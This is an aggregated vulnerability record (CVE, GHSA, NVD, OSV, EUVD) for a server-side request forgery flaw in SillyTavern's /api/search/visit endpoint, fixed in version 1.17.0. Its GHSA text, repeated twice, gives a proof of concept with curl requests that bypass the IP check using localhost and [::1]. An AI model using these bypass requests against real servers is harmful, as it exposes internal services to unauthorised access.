{"id":"CVE-2026-34526","aliases":["EUVD-2026-18444","GHSA-wm7j-m6jm-8797"],"status":"published","title":"SillyTavern: Incomplete IP validation in /api/search/visit allows SSRF via localhost and IPv6","description":"SillyTavern is a locally installed user interface that allows users to interact with text generation large language models, image generation engines, and text-to-speech voice models. Prior to version 1.17.0, in src/endpoints/search.js, the hostname is checked against /^\\d+\\.\\d+\\.\\d+\\.\\d+$/. This only matches literal dotted-quad IPv4 (e.g. 127.0.0.1, 10.0.0.1). It does not catch: localhost (hostname, not dotted-quad), [::1] (IPv6 loopback), and DNS names resolving to internal addresses (e.g. localtest.me -\u003e 127.0.0.1). A separate port check (urlObj.port !== '') limits exploitation to services on default ports (80/443), making this lower severity than a fully unrestricted SSRF. This issue has been patched in version 1.17.0.","severity":{"version":"3.1","score":5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.00217,"percentile":0.12209,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-918"],"published":"2026-04-01T21:42:24Z","modified":"2026-10-28T02:30:24Z","fixes":[{"ecosystem":"npm","package":"sillytavern","fixed_in":["1.17.0"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"sillytavern","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"1.16.0"},{"fixed":"1.17.0"}]}]},{"source":"osv","ecosystem":"npm","package":"sillytavern","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.17.0"}]}]}],"products":[{"vendor":"sillytavern","product":"sillytavern"}],"references":[{"url":"https://github.com/SillyTavern/SillyTavern/security/advisories/GHSA-wm7j-m6jm-8797","tags":["x_refsource_CONFIRM","exploit","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.17.0","tags":["x_refsource_MISC","Release Notes","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34526","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-wm7j-m6jm-8797"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/34xxx/CVE-2026-34526.json","tags":["advisory"]},{"url":"https://github.com/SillyTavern/SillyTavern","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-34526","title":"SillyTavern: Incomplete IP validation in /api/search/visit allows SSRF via localhost and IPv6","description":"SillyTavern is a locally installed user interface that allows users to interact with text generation large language models, image generation engines, and text-to-speech voice models. Prior to version 1.17.0, in src/endpoints/search.js, the hostname is checked against /^\\d+\\.\\d+\\.\\d+\\.\\d+$/. This only matches literal dotted-quad IPv4 (e.g. 127.0.0.1, 10.0.0.1). It does not catch: localhost (hostname, not dotted-quad), [::1] (IPv6 loopback), and DNS names resolving to internal addresses (e.g. localtest.me -\u003e 127.0.0.1). A separate port check (urlObj.port !== '') limits exploitation to services on default ports (80/443), making this lower severity than a fully unrestricted SSRF. This issue has been patched in version 1.17.0.","status":"published","published":"2026-04-02T17:16:55.897Z","modified":"2026-04-02T17:48:03.787Z","cvss":[{"version":"3.1","score":5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N","level":"medium","assessor":"cna"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T14:20:14.302133Z"}],"euvd":[{"id":"EUVD-2026-18444","description":"SillyTavern is a locally installed user interface that allows users to interact with text generation large language models, image generation engines, and text-to-speech voice models. Prior to version 1.17.0, in src/endpoints/search.js, the hostname is checked against /^\\d+\\.\\d+\\.\\d+\\.\\d+$/. This only matches literal dotted-quad IPv4 (e.g. 127.0.0.1, 10.0.0.1). It does not catch: localhost (hostname, not dotted-quad), [::1] (IPv6 loopback), and DNS names resolving to internal addresses (e.g. localtest.me -\u003e 127.0.0.1). A separate port check (urlObj.port !== '') limits exploitation to services on default ports (80/443), making this lower severity than a fully unrestricted SSRF. This issue has been patched in version 1.17.0.","status":"published","published":"2026-04-02T17:16:55Z","modified":"2026-04-02T17:48:03Z","cvss":[{"version":"3.1","score":5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N","level":"medium"}],"updated_at":"2026-11-02T19:25:22.606516Z"}],"ghsa":[{"id":"GHSA-wm7j-m6jm-8797","title":"SillyTavern: Incomplete IP validation in /api/search/visit allows SSRF via localhost and IPv6","description":"### Details\nDistinct from CVE-2025-59159 and CVE-2026-26286 (all fixed in v1.16.0). This endpoint is still unpatched.\n\nIn `src/endpoints/search.js` line 419, the hostname is checked against `/^\\d+\\.\\d+\\.\\d+\\.\\d+$/`. This only matches literal dotted-quad IPv4 (e.g. `127.0.0.1`, `10.0.0.1`). It does not catch:\n- `localhost` (hostname, not dotted-quad)\n- `[::1]` (IPv6 loopback)\n- DNS names resolving to internal addresses (e.g. `localtest.me` -\u003e 127.0.0.1)\n\nA separate port check (`urlObj.port !== ''`) limits exploitation to services on default ports (80/443), making this lower severity than a fully unrestricted SSRF.\n\n### PoC\n1. Start SillyTavern v1.16.0 normally\n2. Send requests to compare blocked vs bypassed (requires a valid session cookie or CSRF disabled):\n```bash\n# Blocked — dotted-quad matched by regex\ncurl -s -o /dev/null -w \"%{http_code}\" -X POST http://127.0.0.1:8000/api/search/visit \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"url\": \"http://127.0.0.1/\", \"html\": true}'\n# Returns: 400 (blocked)\n\n# Bypassed — \"localhost\" is not dotted-quad\ncurl -s -o /dev/null -w \"%{http_code}\" -X POST http://127.0.0.1:8000/api/search/visit \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"url\": \"http://localhost/\", \"html\": true}'\n# Returns: 500 (passed validation, fetch attempted, ECONNREFUSED because nothing on port 80)\n\n# Bypassed — IPv6 loopback is not dotted-quad\ncurl -s -o /dev/null -w \"%{http_code}\" -X POST http://127.0.0.1:8000/api/search/visit \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"url\": \"http://[::1]/\", \"html\": true}'\n# Returns: 500 (passed validation, fetch attempted)\n```\n\nThe 400 vs 500 difference confirms `localhost` and `[::1]` pass the IP check. The 500 is ECONNREFUSED (nothing listening on port 80), not a validation rejection.\n\n### Impact\nServer-side request forgery with partial restrictions. An authenticated user can force the server to fetch from internal hosts on default ports (80/443) using hostnames or IPv6 addresses that bypass the IP check. The full response body is returned. Lower severity than a fully unrestricted SSRF due to the port limitation.\n\n## Resolution\n\nThe issue was addressed in version 1.17.0 by improving IPv6 address validation","status":"published","published":"2026-04-01T21:42:24Z","modified":"2026-04-06T17:25:01Z","cvss":[{"version":"3.1","score":5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N","level":"medium"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T14:39:48.966685Z"}],"nvd":[{"id":"CVE-2026-34526","description":"SillyTavern is a locally installed user interface that allows users to interact with text generation large language models, image generation engines, and text-to-speech voice models. Prior to version 1.17.0, in src/endpoints/search.js, the hostname is checked against /^\\d+\\.\\d+\\.\\d+\\.\\d+$/. This only matches literal dotted-quad IPv4 (e.g. 127.0.0.1, 10.0.0.1). It does not catch: localhost (hostname, not dotted-quad), [::1] (IPv6 loopback), and DNS names resolving to internal addresses (e.g. localtest.me -\u003e 127.0.0.1). A separate port check (urlObj.port !== '') limits exploitation to services on default ports (80/443), making this lower severity than a fully unrestricted SSRF. This issue has been patched in version 1.17.0.","status":"published","published":"2026-04-02T18:16:29.917Z","modified":"2026-07-24T21:10:00.143Z","cvss":[{"version":"3.1","score":5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N","level":"medium","assessor":"secondary"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T14:12:12.73929Z"}],"osv":[{"id":"CVE-2026-34526","title":"SillyTavern: Incomplete IP validation in /api/search/visit allows SSRF via localhost and IPv6","description":"SillyTavern is a locally installed user interface that allows users to interact with text generation large language models, image generation engines, and text-to-speech voice models. Prior to version 1.17.0, in src/endpoints/search.js, the hostname is checked against /^\\d+\\.\\d+\\.\\d+\\.\\d+$/. This only matches literal dotted-quad IPv4 (e.g. 127.0.0.1, 10.0.0.1). It does not catch: localhost (hostname, not dotted-quad), [::1] (IPv6 loopback), and DNS names resolving to internal addresses (e.g. localtest.me -\u003e 127.0.0.1). A separate port check (urlObj.port !== '') limits exploitation to services on default ports (80/443), making this lower severity than a fully unrestricted SSRF. This issue has been patched in version 1.17.0.","status":"published","published":"2026-04-02T17:16:55.897Z","modified":"2026-10-28T02:30:24.142891501Z","cvss":[{"version":"3.1","score":5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N","level":"medium"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T15:45:02.247031Z"},{"id":"GHSA-wm7j-m6jm-8797","title":"SillyTavern: Incomplete IP validation in /api/search/visit allows SSRF via localhost and IPv6","description":"### Details\nDistinct from CVE-2025-59159 and CVE-2026-26286 (all fixed in v1.16.0). This endpoint is still unpatched.\n\nIn `src/endpoints/search.js` line 419, the hostname is checked against `/^\\d+\\.\\d+\\.\\d+\\.\\d+$/`. This only matches literal dotted-quad IPv4 (e.g. `127.0.0.1`, `10.0.0.1`). It does not catch:\n- `localhost` (hostname, not dotted-quad)\n- `[::1]` (IPv6 loopback)\n- DNS names resolving to internal addresses (e.g. `localtest.me` -\u003e 127.0.0.1)\n\nA separate port check (`urlObj.port !== ''`) limits exploitation to services on default ports (80/443), making this lower severity than a fully unrestricted SSRF.\n\n### PoC\n1. Start SillyTavern v1.16.0 normally\n2. Send requests to compare blocked vs bypassed (requires a valid session cookie or CSRF disabled):\n```bash\n# Blocked — dotted-quad matched by regex\ncurl -s -o /dev/null -w \"%{http_code}\" -X POST http://127.0.0.1:8000/api/search/visit \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"url\": \"http://127.0.0.1/\", \"html\": true}'\n# Returns: 400 (blocked)\n\n# Bypassed — \"localhost\" is not dotted-quad\ncurl -s -o /dev/null -w \"%{http_code}\" -X POST http://127.0.0.1:8000/api/search/visit \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"url\": \"http://localhost/\", \"html\": true}'\n# Returns: 500 (passed validation, fetch attempted, ECONNREFUSED because nothing on port 80)\n\n# Bypassed — IPv6 loopback is not dotted-quad\ncurl -s -o /dev/null -w \"%{http_code}\" -X POST http://127.0.0.1:8000/api/search/visit \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"url\": \"http://[::1]/\", \"html\": true}'\n# Returns: 500 (passed validation, fetch attempted)\n```\n\nThe 400 vs 500 difference confirms `localhost` and `[::1]` pass the IP check. The 500 is ECONNREFUSED (nothing listening on port 80), not a validation rejection.\n\n### Impact\nServer-side request forgery with partial restrictions. An authenticated user can force the server to fetch from internal hosts on default ports (80/443) using hostnames or IPv6 addresses that bypass the IP check. The full response body is returned. Lower severity than a fully unrestricted SSRF due to the port limitation.\n\n## Resolution\n\nThe issue was addressed in version 1.17.0 by improving IPv6 address validation","status":"published","published":"2026-04-01T21:42:24Z","modified":"2026-04-06T17:37:51.914067Z","cvss":[{"version":"3.1","score":5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N","level":"medium"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T15:46:58.767335Z"}]}}
